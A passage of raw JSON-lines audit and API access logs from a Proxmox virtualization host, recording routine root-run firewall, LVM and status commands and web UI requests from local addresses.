type=SYSCALL msg=audit(1781966135.463:68571): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ff3a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65848 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965398104,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:17 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 874"} {"@timestamp":1781964515178,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.178:61362): argc=1 a0=\"date\""} {"@timestamp":1781966130504,"@rawstring":"node=pve type=EXECVE msg=audit(1781966130.504:68565): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964796120,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964796.120:62652): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc547576c0 a1=7ffc54757a20 a2=576573fe7520 a3=38b items=1 ppid=60078 pid=60079 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=7 comm=\"env\" exe=\"/usr/bin/env\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475473,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.473:65779): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdac8556b0 a1=583f527ff360 a2=583f527f8680 a3=5 items=1 ppid=63179 pid=63180 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964117990,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964117.990:59672): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57305 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966134321,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966134.321:68570): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d26f9240 a1=64f8d73c57a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65847 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965398104,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964515175,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.175:61360): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966125494,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.494:68562): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964795834,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.834:62637): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc6a432c60 a1=5f2c3419d310 a2=5f2c34196680 a3=5 items=1 ppid=60069 pid=60070 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965475380,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965475.380:65761): arch=c000003e syscall=59 success=no exit=-2 a0=7ffea38eb3b0 a1=5ce030a70410 a2=5ce030a4e680 a3=5 items=1 ppid=63160 pid=63161 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964117981,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964117.981:59669): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57304 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966134277,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966134.277:68569): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d74090f0 a1=64f8d73f1120 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65846 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965398104,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:16 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964515169,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.169:61359): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966125486,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.486:68559): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964795752,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.752:62619): arch=c000003e syscall=59 success=no exit=-2 a0=7fff4c00c440 a1=574ad3c24310 a2=574ad3c1d680 a3=5 items=1 ppid=60050 pid=60051 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965473129,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965473.129:65751): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899557b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63150 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115395,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.395:59666): arch=c000003e syscall=59 success=yes exit=0 a0=5e50cf0d9d30 a1=5e50cf0e5af0 a2=5e50cf0b3680 a3=5 items=2 ppid=57297 pid=57303 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966130511,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966130.511:68568): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65843 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965396715,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:16 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1103"} {"@timestamp":1781964515162,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.162:61358): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966125449,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.449:68556): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964795675,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.675:62611): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60044 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965473129,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965473.129:65750): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899557b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63150 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115393,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.393:59665): arch=c000003e syscall=59 success=yes exit=0 a0=5e509586eac8 a1=7ffd7ff79240 a2=5e50cf0b3680 a3=5e509585224e items=2 ppid=57297 pid=57299 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966130504,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966130.504:68565): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965396715,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:15 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 919"} {"@timestamp":1781964515156,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.156:61357): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966125445,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.445:68555): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964795675,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.675:62610): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60044 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965473121,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965473.121:65748): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899556f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63149 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115392,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.392:59664): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd7ff79200 a1=5e50cf0d53d0 a2=5e50cf0b3680 a3=5 items=2 ppid=57297 pid=57298 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965021943,"@rawstring":"node=pve type=USER_END msg=audit(1781965021.943:63656): pid=61063 uid=0 auid=0 ses=8 subj=unconfined msg='op=PAM:session_close grantors=pam_loginuid,pam_env,pam_env,pam_permit,pam_umask,pam_unix,pam_limits acct=\"root\" exe=\"/usr/sbin/cron\" hostname=? addr=? terminal=cron res=success'"} {"@timestamp":1781965396715,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:15 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964515149,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.149:61356): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966125444,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.444:68554): argc=1 a0=\"date\""} {"@timestamp":1781964795667,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.667:62608): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60043 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965473121,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965473.121:65747): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899556f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63149 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115388,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.388:59662): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57297 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125494,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.494:68562): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65841 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965396715,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964515144,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.144:61354): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966125440,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.440:68552): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964795667,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964795.667:62607): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60043 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965468110,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965468.110:65745): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955630 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63148 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115381,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.381:59661): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57296 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125486,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.486:68559): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65840 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965394361,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:13 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964515139,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.139:61353): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966125433,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.433:68551): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964790659,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964790.659:62603): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60038 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965468110,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965468.110:65744): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955630 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63148 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115375,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.375:59660): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57295 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125449,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.449:68556): arch=c000003e syscall=59 success=yes exit=0 a0=5a3690accb20 a1=5a3690ad8a30 a2=5a3690aa6680 a3=5 items=2 ppid=65833 pid=65839 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965394361,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:13 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 913"} {"@timestamp":1781964515134,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.134:61352): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966125424,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.424:68550): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964790659,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964790.659:62602): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60038 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965468102,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965468.102:65742): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955570 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63147 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115369,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.369:59659): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57294 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125445,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.445:68555): arch=c000003e syscall=59 success=yes exit=0 a0=5a36841a9ac8 a1=7ffdddabc4b0 a2=5a3690aa6680 a3=5a368418d24e items=2 ppid=65833 pid=65835 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965394361,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781964515129,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.129:61351): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966125414,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.414:68549): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964790652,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964790.652:62600): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60037 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965468102,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965468.102:65741): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955570 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63147 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115362,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.362:59658): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57293 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125444,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.444:68554): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdddabc470 a1=5a3690ac81c0 a2=5a3690aa6680 a3=5 items=2 ppid=65833 pid=65834 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965394361,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:23:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1086"} {"@timestamp":1781964515124,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.124:61350): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966125404,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.404:68548): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964790652,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964790.652:62599): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60037 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465321,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.321:65737): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc98a326d0 a1=6520fbe651c0 a2=6520fbe43680 a3=5 items=1 ppid=63140 pid=63141 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115359,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.359:59657): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=60e8c45ba740 items=0 ppid=1156 pid=57292 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966125440,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.440:68552): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65833 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965391943,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:23:11 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 882"} {"@timestamp":1781964515119,"@rawstring":"node=pve type=EXECVE msg=audit(1781964515.119:61349): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966125394,"@rawstring":"node=pve type=EXECVE msg=audit(1781966125.394:68546): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964785703,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964785.703:62593): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcb3b85c00 a1=64221b00c310 a2=64221b005680 a3=5 items=1 ppid=60028 pid=60029 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965465237,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965465.237:65719): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc4abed150 a1=58c4d88e11c0 a2=58c4d88bf680 a3=5 items=1 ppid=63121 pid=63122 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115357,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964115.357:59656): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1360d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57292 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966125433,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966125.433:68551): arch=c000003e 